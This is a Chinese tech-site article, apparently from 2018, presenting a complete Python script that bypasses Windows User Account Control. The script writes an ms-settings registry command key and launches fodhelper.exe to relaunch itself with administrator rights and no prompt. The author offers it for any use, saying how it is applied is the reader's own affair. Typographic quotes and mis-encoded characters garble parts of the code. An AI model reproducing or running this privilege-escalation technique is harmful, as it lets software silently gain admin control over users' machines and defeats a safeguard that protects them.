0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

python如何輕松繞過(guò)UAC

電子設(shè)計(jì) ? 2018-10-12 11:05 ? 次閱讀

很多時(shí)候我們不希望我們的軟件彈出UAC提示,這個(gè)時(shí)候我們可以通過(guò)注冊(cè)表的方法去解決。這其實(shí)已經(jīng)不在是一個(gè)安全的編程了,它變成了一把雙刃劍。

當(dāng)然我們只是討論這種問(wèn)題該怎么解決。具體用在什么方面那是你的問(wèn)題咯!

通過(guò)下面的代碼我們可以輕松繞過(guò)UAC:

# -*- coding: utf-8 -*-

“”“

Created on Mon Jan 8 09:09:51 2018

@author: coordinate

”“”

from __future__ import print_function

import os

import sys

import ctypes

if sys.version_info[0] == 3:

import winreg as winreg

else:

import _winreg as winreg

CMD = r“C:\Windows\System32\cmd.exe”

FOD_HELPER = r‘C:\Windows\System32\fodhelper.exe’

PYTHON_CMD = “python”

REG_PATH = ‘Software\Classes\ms-settings\shell\open\command’

DELEGATE_EXEC_REG_KEY = ‘DelegateExecute’

def is_admin():

‘’‘

Checks if the script is running with administrative privileges.

Returns True if is running as admin, False otherwise.

’‘’

try:

return ctypes.windll.shell32.IsUserAnAdmin()

except:

return False

def create_reg_key(key, value):

‘’‘

Creates a reg key

’‘’

try:

winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)

registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)

winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)

winreg.CloseKey(registry_key)

except WindowsError:

raise

def bypass_uac(cmd):

‘’‘

Tries to bypass the UAC

’‘’

try:

create_reg_key(DELEGATE_EXEC_REG_KEY, ‘’)

create_reg_key(None, cmd)

except WindowsError:

raise

def execute():

if not is_admin():

print(‘[?。?The script is NOT running with administrative privileges’)

print(‘[+] Trying to bypass the UAC’)

try:

current_dir = __file__

cmd = ‘{} /k {} {}’.format(CMD, PYTHON_CMD, current_dir)

bypass_uac(cmd)

os.system(FOD_HELPER)

sys.exit(0)

except WindowsError:

sys.exit(1)

else:

#這里添加我們需要管理員權(quán)限的代碼

print(‘[+] The script is running with administrative privileges!’)

if __name__ == ‘__main__’:

execute()

---------------------

其實(shí)我們這個(gè)代碼這里主要是往注冊(cè)表中添加了這兩項(xiàng)

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • python
    +關(guān)注

    關(guān)注

    54

    文章

    4758

    瀏覽量

    84291
收藏 人收藏

    評(píng)論

    相關(guān)推薦

    請(qǐng)問(wèn)UAC2.0和UAC3.0有什么區(qū)別?

    請(qǐng)教下大家,目前Windows 最高只支持UAC2.0,網(wǎng)上了解到一些信息UAC3.0不向下兼容。那3.0和2.0的差異在哪里呢? 了解到UAC3.0比UAC 2.0降低90%的功耗
    發(fā)表于 01-24 08:11

    有關(guān)UAC 3556B

    我使用UAC 3556B 聲卡,我的麥怎么無(wú)法錄音但是我的耳機(jī)能聽(tīng)歌曲 求指點(diǎn)迷津 急急急 加急
    發(fā)表于 07-31 18:33

    Python Editor如何輕松玩轉(zhuǎn)MicroPython?

    新手編程錯(cuò)誤的編輯器,基于TPYBoard系列開(kāi)發(fā)板的Micropython語(yǔ)言編輯器--Python Editor。 首先看一下python editor的編程界面:編程界面功能介紹,下文我會(huì)
    發(fā)表于 06-04 14:36

    請(qǐng)問(wèn)為什么當(dāng)UAC設(shè)備記錄和播放時(shí),噪聲會(huì)定期發(fā)生?

    為什么當(dāng)UAC設(shè)備記錄和播放時(shí),噪聲會(huì)定期發(fā)生?
    發(fā)表于 12-25 07:15

    RK3308 Linux UAC與ADB復(fù)合怎么才可以同時(shí)使用?

    RK3308 Linux UAC與ADB復(fù)合怎么才可以同時(shí)使用?
    發(fā)表于 03-09 06:10

    RK3308如何開(kāi)啟UAC功能?

    RK3308如何開(kāi)啟UAC功能?
    發(fā)表于 03-09 07:58

    基于Linux內(nèi)核的Rockchip USB Gadget UAC開(kāi)發(fā)資料分享

    1、Rockchip USB Gadget UAC開(kāi)發(fā)步驟本文檔提供 Rockchip 平臺(tái)基于 Linux 內(nèi)核的 USB Gadget UAC(USB Audio Class)驅(qū)動(dòng)的使用方法
    發(fā)表于 08-10 16:03

    介紹Python 3 的功能 讓人輕松地從Python 2遷移到Python 3

    為了使初學(xué)者能夠輕松地從 Python 2 向 Python 3 實(shí)現(xiàn)遷移,我收集了一些 Python 3 的功能,希望對(duì)大家有所幫助。
    的頭像 發(fā)表于 01-31 15:11 ?4445次閱讀

    win7如何關(guān)閉uac,詳細(xì)步驟的介紹

    win7系統(tǒng)的穩(wěn)定性,兼容性,安全性一直讓大家稱贊,其實(shí)是因?yàn)樗谋澈笥泻芏嘈」δ茉谥С帧F渲芯陀幸粋€(gè)uac功能,它通過(guò)限制應(yīng)用軟件而改進(jìn)win7系統(tǒng)的安全性。但是有利就有弊,安裝軟件時(shí)它總是彈出
    發(fā)表于 03-24 17:28 ?1572次閱讀

    繞過(guò)kernel模塊版本校驗(yàn)檢測(cè)

    繞過(guò)kernel模塊版本校驗(yàn)檢測(cè)
    發(fā)表于 10-28 11:07 ?0次下載

    如何通過(guò)python輕松處理大文件

    眾所周知,python除了以簡(jiǎn)潔著稱,其成熟的第三方庫(kù)功能也是很強(qiáng)大的,今天浩道帶大家看看如何通過(guò)python輕松處理大文件,真讓人直呼yyds 。
    的頭像 發(fā)表于 04-27 10:54 ?831次閱讀

    Android App開(kāi)發(fā)新選擇:使用Chaquopy輕松結(jié)合Python

    。Chaquopy是一個(gè)可以幫助開(kāi)發(fā)者在Android App中輕松使用Python代碼的工具。本文將介紹如何安裝Chaquopy,讓你的Android App更加強(qiáng)大。
    的頭像 發(fā)表于 04-25 20:29 ?1921次閱讀
    Android App開(kāi)發(fā)新選擇:使用Chaquopy<b class='flag-5'>輕松</b>結(jié)合<b class='flag-5'>Python</b>

    使用Teachable Machine和Python輕松進(jìn)行對(duì)象檢測(cè)

    電子發(fā)燒友網(wǎng)站提供《使用Teachable Machine和Python輕松進(jìn)行對(duì)象檢測(cè).zip》資料免費(fèi)下載
    發(fā)表于 06-27 09:26 ?0次下載
    使用Teachable Machine和<b class='flag-5'>Python</b><b class='flag-5'>輕松</b>進(jìn)行對(duì)象檢測(cè)

    PyJNIus:在Python輕松調(diào)用Java方法

    PyJNIus 是一個(gè)神奇的 Python 第三方模塊。它能使用Java本地接口將Java類作為Python類訪問(wèn)的Python模塊。 如果你需要在Python中使用Java 類,這個(gè)
    的頭像 發(fā)表于 10-30 11:32 ?743次閱讀

    PyJNIus :讓你在Python輕松調(diào)用Java方法

    PyJNIus 是一個(gè)神奇的 Python 第三方模塊。它能使用Java本地接口將Java類作為Python類訪問(wèn)的Python模塊。 如果你需要在Python中使用Java 類,這個(gè)
    的頭像 發(fā)表于 11-01 10:45 ?716次閱讀